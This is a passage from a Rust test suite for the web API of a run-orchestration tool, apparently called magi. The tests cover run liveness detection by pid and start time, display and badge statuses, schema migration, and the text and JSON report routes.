18648        let detail = f.get("/api/runs/a1b2").await;
18649        assert_eq!(detail.status, 200);
18650        assert_eq!(detail.json()["base_branch"], "main");
18651        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18652    }
18653
18654    /// `status: "ready"` alone cannot tell a run still headed for a landing
18655    /// (a PR closed without merging, say) apart from one `[merge] mode =
18656    /// "none"` left unmerged for good — the confusion the operator flagged
18657    /// after the CLI report already grew a `not landed — nothing to do by
18658    /// design` line for exactly this case (`report.rs`). Both the list route
18659    /// and the detail route must carry a flag the phone can key on instead of
18660    /// re-deriving it from `status` + `merge.mode` itself.
18661    #[tokio::test]
18662    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18663        let f = Fixture::start().await;
18664
18665        let mut none_run = RunState::new(
18666            PathBuf::from("/repo/magi"),
18667            "main".to_owned(),
18668            "0123456789abcdef".to_owned(),
18669            "Add a web UI".to_owned(),
18670            Config::default(),
18671        );
18672        none_run.id = "20260902-140503-none".to_owned();
18673        none_run.status = RunStatus::Ready;
18674        none_run.merge = Some(crate::run::MergeOutcome {
18675            mode: crate::config::MergeMode::None,
18676            ok: true,
18677            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18678            empty: false,
18679        });
18680        write_state(&f.runs(), &none_run);
18681
18682        let mut pr_run = RunState::new(
18683            PathBuf::from("/repo/magi"),
18684            "main".to_owned(),
18685            "0123456789abcdef".to_owned(),
18686            "Add a web UI".to_owned(),
18687            Config::default(),
18688        );
18689        pr_run.id = "20260902-140504-prcl".to_owned();
18690        pr_run.status = RunStatus::Ready;
18691        pr_run.merge = Some(crate::run::MergeOutcome {
18692            mode: crate::config::MergeMode::Pr,
18693            ok: false,
18694            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18695            empty: false,
18696        });
18697        write_state(&f.runs(), &pr_run);
18698
18699        let summary = f.get("/api/runs").await.json();
18700        let rows: std::collections::HashMap<&str, &Value> = summary
18701            .as_array()
18702            .expect("an array")
18703            .iter()
18704            .map(|r| (r["id"].as_str().expect("an id"), r))
18705            .collect();
18706        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18707        assert_eq!(
18708            rows[none_run.id.as_str()]["unmerged_by_design"],
18709            true,
18710            "a mode-none Ready must be flagged in the list"
18711        );
18712        assert_eq!(
18713            rows[pr_run.id.as_str()]["unmerged_by_design"],
18714            false,
18715            "a Ready reached by a closed pull request is a different case"
18716        );
18717
18718        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18719        assert_eq!(none_detail["status"], "ready");
18720        assert_eq!(none_detail["unmerged_by_design"], true);
18721
18722        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18723        assert_eq!(pr_detail["unmerged_by_design"], false);
18724    }
18725
18726    /// `RunState::active` is only ever cleared by whoever populated it, so the
18727    /// detail route also has to say whether a daemon is actually still
18728    /// driving this run right now — otherwise a seat from a killed process's
18729    /// last wave would read as live forever.
18730    #[tokio::test]
18731    async fn run_core_survives_unavailable_related_stores() {
18732        let home = TempDir::new().unwrap();
18733        let ui = delta_test_ui(home.path());
18734        let state = RunState::new(
18735            PathBuf::from("/repo/magi"),
18736            "main".into(),
18737            "0123456789abcdef".into(),
18738            "Useful core instructions".into(),
18739            Config::default(),
18740        );
18741        let dir = ui.runs.join(&state.id);
18742        std::fs::create_dir_all(&dir).unwrap();
18743        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18744        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18745        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18746        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18747            .await
18748            .unwrap()
18749            .0;
18750        assert_eq!(core.state.instruction, state.instruction);
18751        assert_eq!(core.state.updated_at, state.updated_at);
18752        assert!(core.task.is_none());
18753        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18754    }
18755
18756    #[tokio::test]
18757    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18758        let f = Fixture::start().await;
18759        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18760        // half of this test can claim the daemon is working on it without a
18761        // second helper.
18762        let id = "20260902-140502-bbbb";
18763        let mut state = RunState::new(
18764            PathBuf::from("/repo/magi"),
18765            "main".to_owned(),
18766            "0123456789abcdef".to_owned(),
18767            "Add a web UI".to_owned(),
18768            Config::default(),
18769        );
18770        state.id = id.to_owned();
18771        state.status = RunStatus::Judging;
18772        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18773        let dir = f.runs().join(id);
18774        std::fs::create_dir_all(&dir).expect("run dir");
18775        std::fs::write(
18776            dir.join("run.json"),
18777            serde_json::to_string_pretty(&state).expect("serialize run"),
18778        )
18779        .expect("write run.json");
18780
18781        // No daemon.json at all, and no `driver_pid` recorded either (this
18782        // state was written directly, never through `execute()`): there is
18783        // nothing to confirm either way, so the route must say `"unknown"` —
18784        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18785        // run` used to get from this route before `driver_pid` existed.
18786        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18787        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18788        assert_eq!(cold["live"], "unknown", "{cold}");
18789
18790        // A fresh heartbeat naming exactly this run: the same entry now reads
18791        // as confirmed, not merely recorded.
18792        write_daemon(f.home.path(), Timestamp::now());
18793        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18794        assert_eq!(warm["live"], "live", "{warm}");
18795    }
18796
18797    #[test]
18798    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18799        let home = tempfile::tempdir().expect("temp home");
18800        let runs = home.path().join("runs");
18801        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18802            let mut state = RunState::new(
18803                PathBuf::from("/repo/magi"),
18804                "main".to_owned(),
18805                "0123456789abcdef".to_owned(),
18806                "Generated review context, not authored task criteria".to_owned(),
18807                Config::default(),
18808            );
18809            state.origin = origin;
18810            state.status = RunStatus::Blocked;
18811            // Earlier migrations must not infer these facts again.
18812            state.driver_exited = false;
18813            state.gate_ran = true;
18814            let expected = serde_json::to_value(&state).expect("serialize current state");
18815            let mut legacy = expected.clone();
18816            legacy["schema"] = serde_json::json!(13);
18817            legacy.as_object_mut().unwrap().remove("task_instruction");
18818            let dir = runs.join(&state.id);
18819            std::fs::create_dir_all(&dir).expect("run dir");
18820            let path = dir.join("run.json");
18821            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18822            std::fs::write(&path, &body).expect("write legacy run");
18823
18824            for loaded in [
18825                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18826                read_run(&runs, &state.id).expect("web migration"),
18827            ] {
18828                assert_eq!(loaded.schema, crate::run::SCHEMA);
18829                assert!(loaded.task_instruction.is_none());
18830                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18831            }
18832            assert_eq!(runs_unreadable(&runs), 0);
18833            assert_eq!(std::fs::read(&path).unwrap(), body);
18834        }
18835    }
18836
18837    /// Where a run came from is shown, and a run written before origins were
18838    /// recorded (schema 12, no `origin` key) stays readable and says so.
18839    #[tokio::test]
18840    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18841        let f = Fixture::start().await;
18842        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18843            let mut state = RunState::new(
18844                PathBuf::from("/repo/magi"),
18845                "main".to_owned(),
18846                "0123456789abcdef".to_owned(),
18847                "Add a web UI".to_owned(),
18848                Config::default(),
18849            );
18850            state.id = id.to_owned();
18851            state.origin = origin;
18852            let mut value = serde_json::to_value(&state).expect("serialize run");
18853            if let Some(schema) = schema {
18854                value["schema"] = serde_json::json!(schema);
18855                value.as_object_mut().unwrap().remove("origin");
18856            }
18857            let dir = f.runs().join(id);
18858            std::fs::create_dir_all(&dir).expect("run dir");
18859            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18860        };
18861        write(
18862            "20260930-092817-ec34",
18863            Some(crate::run::Origin::from_agent_env(
18864                Some(("4a7b".to_owned(), "chat".to_owned())),
18865                None,
18866            )),
18867            None,
18868        );
18869        write("20260930-092817-0ld1", None, Some(12));
18870
18871        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18872        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18873        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18874
18875        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18876        assert_eq!(
18877            old["origin_label"], "origin unknown (started before origins were recorded)",
18878            "{old}"
18879        );
18880        assert!(old["origin"].is_null(), "{old}");
18881
18882        let list = f.get("/api/runs").await.json();
18883        let labels: Vec<_> = list
18884            .as_array()
18885            .unwrap()
18886            .iter()
18887            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18888            .collect();
18889        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18890    }
18891
18892    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18893    /// review` claims no daemon at all, so before this field existed the
18894    /// route above read it as `"dead"` — indistinguishable from a run a
18895    /// killed process abandoned — the whole time it was genuinely still
18896    /// answering. With a live pid recorded, it must read `"live"` even
18897    /// though no daemon claims it.
18898    #[tokio::test]
18899    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18900        let f = Fixture::start().await;
18901        let id = "20260922-090000-cccc";
18902        let mut state = RunState::new(
18903            PathBuf::from("/repo/magi"),
18904            "main".to_owned(),
18905            "0123456789abcdef".to_owned(),
18906            "Review only".to_owned(),
18907            Config::default(),
18908        );
18909        state.id = id.to_owned();
18910        state.status = RunStatus::Reviewing;
18911        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18912        // This test process's own pid: guaranteed alive, and never needs a
18913        // real daemon or a second process to prove it. The matching start-time
18914        // marker is what `liveness` now requires alongside a live pid — see
18915        // `RunState::driver_started_at`'s own doc for why the pid alone is
18916        // not enough.
18917        state.driver_pid = Some(std::process::id());
18918        state.driver_started_at = Some(
18919            crate::proc::process_started_at(std::process::id())
18920                .expect("this test process's own start time must be queryable"),
18921        );
18922        let dir = f.runs().join(id);
18923        std::fs::create_dir_all(&dir).expect("run dir");
18924        std::fs::write(
18925            dir.join("run.json"),
18926            serde_json::to_string_pretty(&state).expect("serialize run"),
18927        )
18928        .expect("write run.json");
18929
18930        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18931        assert_eq!(detail["live"], "live", "{detail}");
18932    }
18933
18934    /// A killed manual run's pid can be handed to a wholly unrelated later
18935    /// process — a live query on `driver_pid` alone would read this as
18936    /// `"live"`, exactly the false positive `driver_started_at` exists to
18937    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18938    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18939    #[tokio::test]
18940    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18941        let f = Fixture::start().await;
18942        let id = "20260922-090100-dddd";
18943        let mut state = RunState::new(
18944            PathBuf::from("/repo/magi"),
18945            "main".to_owned(),
18946            "0123456789abcdef".to_owned(),
18947            "Review only".to_owned(),
18948            Config::default(),
18949        );
18950        state.id = id.to_owned();
18951        state.status = RunStatus::Reviewing;
18952        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18953        // This test process's own pid really is alive, but the marker
18954        // recorded here does not match what it actually started at —
18955        // standing in for the pid having since been reused by a different
18956        // process than the one that wrote `run.json`.
18957        state.driver_pid = Some(std::process::id());
18958        state.driver_started_at = Some("1".to_owned());
18959        let dir = f.runs().join(id);
18960        std::fs::create_dir_all(&dir).expect("run dir");
18961        std::fs::write(
18962            dir.join("run.json"),
18963            serde_json::to_string_pretty(&state).expect("serialize run"),
18964        )
18965        .expect("write run.json");
18966
18967        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18968        assert_eq!(detail["live"], "dead", "{detail}");
18969    }
18970
18971    /// The deck's competition list is normally the first place an operator
18972    /// sees an old run. It must carry the same process verdict as detail, or
18973    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18974    #[test]
18975    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18976        let mk = |id: &str, pid: Option<u32>| {
18977            let mut s = RunState::new(
18978                PathBuf::from("/repo/magi"),
18979                "main".to_owned(),
18980                "0123456789abcdef".to_owned(),
18981                "Add a web UI".to_owned(),
18982                Config::default(),
18983            );
18984            s.id = id.to_owned();
18985            s.driver_pid = pid;
18986            s.driver_started_at = Some("1790000000".to_owned());
18987            s
18988        };
18989        let states = vec![
18990            mk("20260902-140502-aaaa", Some(77)),
18991            mk("20260902-140502-bbbb", Some(77)),
18992            mk("20260902-140502-cccc", Some(77)),
18993            mk("20260902-140502-dddd", None),
18994        ];
18995        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
18996        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
18997        let sup: HashMap<String, String> = [(
18998            "20260902-140502-aaaa".to_owned(),
18999            "20260902-140502-cccc".to_owned(),
19000        )]
19001        .into();
19002
19003        let status_calls = std::cell::Cell::new(0);
19004        let identity_calls = std::cell::Cell::new(0);
19005        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19006            |_| {
19007                status_calls.set(status_calls.get() + 1);
19008                Some(true)
19009            },
19010            |_| {
19011                identity_calls.set(identity_calls.get() + 1);
19012                Some("1790000000".to_owned())
19013            },
19014        ));
19015        let rows = summarize(
19016            states,
19017            &open,
19018            &claimed,
19019            &sup,
19020            |p| probe.borrow_mut().status(p),
19021            |p| probe.borrow_mut().started_at(p),
19022        );
19023
19024        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19025        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19026        assert_eq!(rows.len(), 4);
19027        assert!(!rows[0].waiting && rows[1].waiting);
19028        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19029        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19030        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19031        assert_eq!(rows[1].superseded_by, None);
19032    }
19033
19034    #[test]
19035    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19036        let mut state = RunState::new(
19037            PathBuf::from("/repo/magi"),
19038            "main".to_owned(),
19039            "0123456789abcdef".to_owned(),
19040            "Review only".to_owned(),
19041            Config::default(),
19042        );
19043        state.id = "20260922-090200-dead".to_owned();
19044        state.status = RunStatus::Reviewing;
19045        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19046            .expect("serialize list row");
19047        assert_eq!(row["status"], "reviewing");
19048        assert_eq!(row["display_status"], "stale");
19049        assert_eq!(row["live"], "dead", "{row}");
19050        assert!(!row["done"].as_bool().unwrap());
19051    }
19052
19053    #[test]
19054    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19055        use crate::run::Liveness::{Dead, Live, Unknown};
19056        let mut state = RunState::new(
19057            PathBuf::from("/repo/magi"),
19058            "main".to_owned(),
19059            "abc".to_owned(),
19060            "Review only".to_owned(),
19061            Config::default(),
19062        );
19063        for (status, parked, node, waiting, live, expected) in [
19064            (
19065                RunStatus::Judging,
19066                true,
19067                "github-text",
19068                false,
19069                Dead,
19070                "parked",
19071            ),
19072            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19073            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19074            (
19075                RunStatus::Judging,
19076                true,
19077                "github-text",
19078                true,
19079                Dead,
19080                "waiting",
19081            ),
19082            (
19083                RunStatus::Judging,
19084                false,
19085                "github-text",
19086                true,
19087                Dead,
19088                "waiting",
19089            ),
19090            (
19091                RunStatus::Judging,
19092                false,
19093                "github-text",
19094                false,
19095                Dead,
19096                "stale",
19097            ),
19098            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19099            (RunStatus::Judging, true, "park", false, Live, "judging"),
19100            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19101            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19102            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19103            (
19104                RunStatus::Blocked,
19105                true,
19106                "github-text",
19107                true,
19108                Dead,
19109                "waiting",
19110            ),
19111        ] {
19112            state.status = status;
19113            state.parked = parked;
19114            state.events.clear();
19115            state.event(
19116                "park",
19117                "an earlier park does not determine the latest state",
19118            );
19119            state.event(node, "message is not used for classification");
19120            let summary = RunSummary::of(&state, waiting, live);
19121            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19122            assert_eq!(
19123                summary.display_status, expected,
19124                "{status:?}/{node}/{live:?}"
19125            );
19126            assert_eq!(detail.display_status, summary.display_status);
19127            assert_eq!(detail.waiting, summary.waiting);
19128        }
19129        state.status = RunStatus::Judging;
19130        state.parked = false;
19131        state.events.clear();
19132        assert_eq!(run_display_status(&state, false, Dead), "stale");
19133    }
19134
19135    #[test]
19136    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19137        use crate::run::Liveness::{Dead, Live, Unknown};
19138        let mut state = RunState::new(
19139            PathBuf::from("/repo/magi"),
19140            "main".to_owned(),
19141            "abc".to_owned(),
19142            "Badge".to_owned(),
19143            Config::default(),
19144        );
19145        for (status, waiting, live, superseded, expected) in [
19146            (RunStatus::Gating, false, Dead, false, "stale"),
19147            (RunStatus::Gating, false, Dead, true, "superseded"),
19148            (RunStatus::Gating, false, Unknown, true, "superseded"),
19149            (RunStatus::Gating, true, Dead, true, "superseded"),
19150            (RunStatus::Gating, true, Dead, false, "waiting"),
19151            (RunStatus::Gating, false, Unknown, false, "gating"),
19152            (RunStatus::Gating, false, Live, true, "gating"),
19153            (RunStatus::Gating, true, Live, true, "waiting"),
19154            (RunStatus::Merged, false, Dead, true, "merged"),
19155            (RunStatus::Blocked, false, Dead, true, "blocked"),
19156        ] {
19157            state.status = status;
19158            let display = run_display_status(&state, waiting, live);
19159            assert_eq!(
19160                run_badge_status(&state, &display, live, superseded),
19161                expected,
19162                "{status:?}/{live:?}/superseded={superseded}"
19163            );
19164        }
19165    }
19166
19167    #[test]
19168    fn summarize_and_detail_expose_badge_status() {
19169        use crate::run::Liveness::Dead;
19170        let mut state = RunState::new(
19171            PathBuf::from("/repo/magi"),
19172            "main".to_owned(),
19173            "abc".to_owned(),
19174            "Badge".to_owned(),
19175            Config::default(),
19176        );
19177        state.status = RunStatus::Gating;
19178        let none = HashSet::new();
19179        let id = state.id.clone();
19180        let mut by = HashMap::new();
19181        let rows = summarize(
19182            [state.clone()],
19183            &none,
19184            &none,
19185            &by,
19186            |_| Some(false),
19187            |_| None,
19188        );
19189        // No driver recorded: liveness is not provably dead, so the node stays.
19190        assert_eq!(rows[0].badge_status, rows[0].display_status);
19191        by.insert(id, "20260901-000000-913b".to_owned());
19192        let detail = RunDetailView::of(
19193            state.clone(),
19194            false,
19195            Dead,
19196            Some("913b".to_owned()),
19197            None,
19198            None,
19199        );
19200        assert_eq!(detail.badge_status, "superseded");
19201        let json = serde_json::to_value(&detail).unwrap();
19202        assert_eq!(json["badge_status"], "superseded");
19203        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19204        assert_eq!(detail.badge_status, "stale");
19205    }
19206
19207    #[tokio::test]
19208    async fn run_display_status_routes_share_the_open_question_store() {
19209        let f = Fixture::start().await;
19210        let id = "20260922-090200-abcd";
19211        write_run(&f.runs(), id, RunStatus::Judging);
19212        let mut state = read_run(&f.runs(), id).unwrap();
19213        state.parked = true;
19214        state.driver_exited = true;
19215        state.event("github-text", "waiting for the owner");
19216        state.save_under(f.home.path()).unwrap();
19217        let mut task = Task::new(
19218            "resumed task".to_owned(),
19219            "do it".to_owned(),
19220            PathBuf::from("/repo"),
19221            Source::Human,
19222        );
19223        task.runs = vec![id.to_owned(), id.to_owned()];
19224        f.queue().put(&mut task).unwrap();
19225        let store = f.questions();
19226        let mut q = Question::new(
19227            id.to_owned(),
19228            "github-text".to_owned(),
19229            "owner".to_owned(),
19230            "Approve the text?".to_owned(),
19231            String::new(),
19232            Vec::new(),
19233        );
19234        store.put(&mut q).unwrap();
19235        for expected in ["waiting", "parked"] {
19236            let list = f.get("/api/runs").await.json();
19237            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19238            assert_eq!(list[0]["display_status"], expected);
19239            assert_eq!(detail["display_status"], expected);
19240            assert_eq!(detail["waiting"], list[0]["waiting"]);
19241            assert_eq!(list[0]["badge_status"], expected);
19242            assert_eq!(detail["badge_status"], expected);
19243            assert!(list[0]["superseded_by"].is_null());
19244            assert!(detail["superseded_by"].is_null());
19245            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19246            let history = task_detail["history"].as_array().unwrap();
19247            assert_eq!(history.len(), 2);
19248            assert!(history[0]["badge"].is_null());
19249            assert_eq!(history[1]["badge"], expected);
19250            q.status = ask::QuestionStatus::Answered;
19251            store.put(&mut q).unwrap();
19252        }
19253    }
19254
19255    #[tokio::test]
19256    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19257        let f = Fixture::start().await;
19258        let id = "20260922-090200-abcd";
19259        write_run(&f.runs(), id, RunStatus::Judging);
19260        let mut state = read_run(&f.runs(), id).unwrap();
19261        state.parked = true;
19262        state.driver_exited = true;
19263        state.event("park", "stopped at a node boundary");
19264        state.save_under(f.home.path()).unwrap();
19265
19266        for expected in ["parked", "stale"] {
19267            let list = f.get("/api/runs").await.json();
19268            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19269            assert_eq!(list[0]["live"], "dead");
19270            assert_eq!(list[0]["display_status"], expected);
19271            assert_eq!(detail["display_status"], expected);
19272            // Model a driver claim followed by a crash before the next event:
19273            // the persisted flag changes, but the last event is still park.
19274            state.parked = false;
19275            state.save_under(f.home.path()).unwrap();
19276        }
19277    }
19278
19279    #[tokio::test]
19280    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19281        let f = Fixture::start().await;
19282        for id in [
19283            "20260902-140501-aaaa",
19284            "20260902-140502-bbbb",
19285            "20260902-140503-cccc",
19286        ] {
19287            write_run(&f.runs(), id, RunStatus::Merged);
19288        }
19289
19290        let all = f.get("/api/runs").await.json();
19291        let capped = f.get("/api/runs?limit=2").await.json();
19292
19293        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19294        assert_eq!(all.as_array().map(Vec::len), Some(3));
19295        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19296        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19297    }
19298
19299    #[tokio::test]
19300    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19301        let f = Fixture::start().await;
19302        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19303
19304        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19305
19306        assert_eq!(res.status, 200);
19307        assert!(
19308            res.headers
19309                .contains("content-type: text/plain; charset=utf-8"),
19310            "a browser must render it, not download it: {}",
19311            res.headers
19312        );
19313        // The assertion is on content, not on the absence of escapes: colour
19314        // is a process-global that `serve` turns off at startup, and another
19315        // test in this binary may own it while this one runs.
19316        assert!(
19317            res.body.contains("20260902-140501-a1b2"),
19318            "the report is about the run that was asked for: {}",
19319            res.body
19320        );
19321    }
19322
19323    #[tokio::test]
19324    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19325        // The view names the run's state directory, which reads the process-global home.
19326        crate::run::pin_test_home();
19327        let f = Fixture::start().await;
19328        let id = "20260902-140501-a1b2";
19329        write_run(&f.runs(), id, RunStatus::Stalled);
19330        // A stalled panel and one review round, written through the real
19331        // state file so the route reads what a run really leaves behind.
19332        let path = f.runs().join(id).join("run.json");
19333        let mut v: serde_json::Value =
19334            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19335        v["tally"] = serde_json::json!({
19336            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19337            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19338            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19339            "met_quorum": false, "rankings": 1
19340        });
19341        v["reviews"] = serde_json::json!([{
19342            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19343            "e2e_deferred": true,
19344            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19345                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19346            ]}]
19347        }]);
19348        std::fs::write(&path, v.to_string()).unwrap();
19349        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19350        std::fs::write(
19351            f.runs().join("20260902-140502-dead").join("run.json"),
19352            "{not json",
19353        )
19354        .unwrap();
19355
19356        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19357
19358        assert_eq!(res.status, 200, "{}", res.body);
19359        assert!(res.headers.contains("content-type: application/json"));
19360        let j = res.json();
19361        assert_eq!(j["schema"], 1);
19362        assert_eq!(j["header"]["id"], id);
19363        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19364        let kinds: Vec<&str> = j["sections"]
19365            .as_array()
19366            .unwrap()
19367            .iter()
19368            .map(|s| s["kind"].as_str().unwrap())
19369            .collect();
19370        assert_eq!(kinds, ["candidates", "tally", "review"]);
19371        let tally = &j["sections"][1]["tally"];
19372        assert_eq!(
19373            (tally["decided"].clone(), tally["provisional"].clone()),
19374            (false.into(), true.into())
19375        );
19376        let round = &j["sections"][2]["rounds"][0];
19377        assert_eq!(round["e2e"]["state"], "deferred");
19378        assert_eq!(round["findings"][0]["severity"], "major");
19379        assert_eq!(round["findings"][0]["blocking"], true);
19380        assert_eq!(round["findings"][0]["state"], "open");
19381
19382        // The raw route keeps working beside it.
19383        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19384
19385        // An unreadable run is an error, as on the text route, and is counted.
19386        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19387        assert_ne!(bad.status, 200, "{}", bad.body);
19388        assert_eq!(
19389            bad.status,
19390            f.get("/api/runs/20260902-140502-dead/report").await.status
19391        );
19392        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19393        assert_eq!(
19394            f.get("/api/runs/20260902-999999-ffff/report.json")
19395                .await
19396                .status,
19397            404
19398        );
19399    }
19400
19401    #[tokio::test]
19402    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19403        crate::run::pin_test_home();
19404        let f = Fixture::start().await;
19405        let id = "20260902-140503-delib";
19406        write_run(&f.runs(), id, RunStatus::Merged);
19407        let path = f.runs().join(id).join("run.json");
19408        let mut v: serde_json::Value =
19409            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19410        v["judgements"] = serde_json::json!([
19411            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19412        ]);
19413        v["tally"] = serde_json::json!({
19414            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19415            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19416            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19417            "met_quorum": true, "rankings": 1
19418        });
19419        v["deliberation"] = serde_json::json!([
19420            {
19421                "round": 1,
19422                "turns": [
19423                    {
19424                        "judge": 1,
19425                        "agent": "judge-1",
19426                        "body": "I prefer candidate **A** because it has cleaner tests.",
19427                        "tentative": "A"
19428                    }
19429                ]
19430            },
19431            {
19432                "round": 2,
19433                "turns": [
19434                    {
19435                        "judge": 1,
19436                        "agent": "judge-1",
19437                        "body": "Still thinking, no choice yet.",
19438                        "tentative": null
19439                    }
19440                ]
19441            }
19442        ]);
19443        std::fs::write(&path, v.to_string()).unwrap();
19444
19445        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19446        assert_eq!(res.status, 200, "{}", res.body);
19447        let j = res.json();
19448        let judging = j["sections"]
19449            .as_array()
19450            .unwrap()
19451            .iter()
19452            .find(|s| s["kind"] == "judging")
19453            .expect("judging section exists");
19454
19455        // Existing summary lines remain intact
19456        let delib_lines = judging["deliberation"].as_array().unwrap();
19457        assert_eq!(delib_lines.len(), 2);
19458        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19459        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19460
19461        // rounds carry turn bodies, tentative and parsed body_md
19462        let rounds = judging["rounds"].as_array().unwrap();
19463        assert_eq!(rounds.len(), 2);
19464        let r1_t0 = &rounds[0]["turns"][0];
19465        assert_eq!(r1_t0["judge"], 1);
19466        assert_eq!(r1_t0["agent"], "judge-1");
19467        assert_eq!(r1_t0["tentative"], "A");
19468        assert_eq!(
19469            r1_t0["body"],
19470            "I prefer candidate **A** because it has cleaner tests."
19471        );
19472        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19473
19474        let r2_t0 = &rounds[1]["turns"][0];
19475        assert_eq!(r2_t0["judge"], 1);
19476        assert_eq!(r2_t0["agent"], "judge-1");
19477        assert!(r2_t0["tentative"].is_null());
19478        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19479        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19480
19481        // A run with empty deliberation array yields empty rounds
19482        let id_empty = "20260902-140504-nodelib";
19483        write_run(&f.runs(), id_empty, RunStatus::Merged);
19484        let path_empty = f.runs().join(id_empty).join("run.json");
19485        let mut v_empty: serde_json::Value =
19486            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19487        v_empty["judgements"] = serde_json::json!([
19488            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19489        ]);
19490        v_empty["deliberation"] = serde_json::json!([]);
19491        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19492
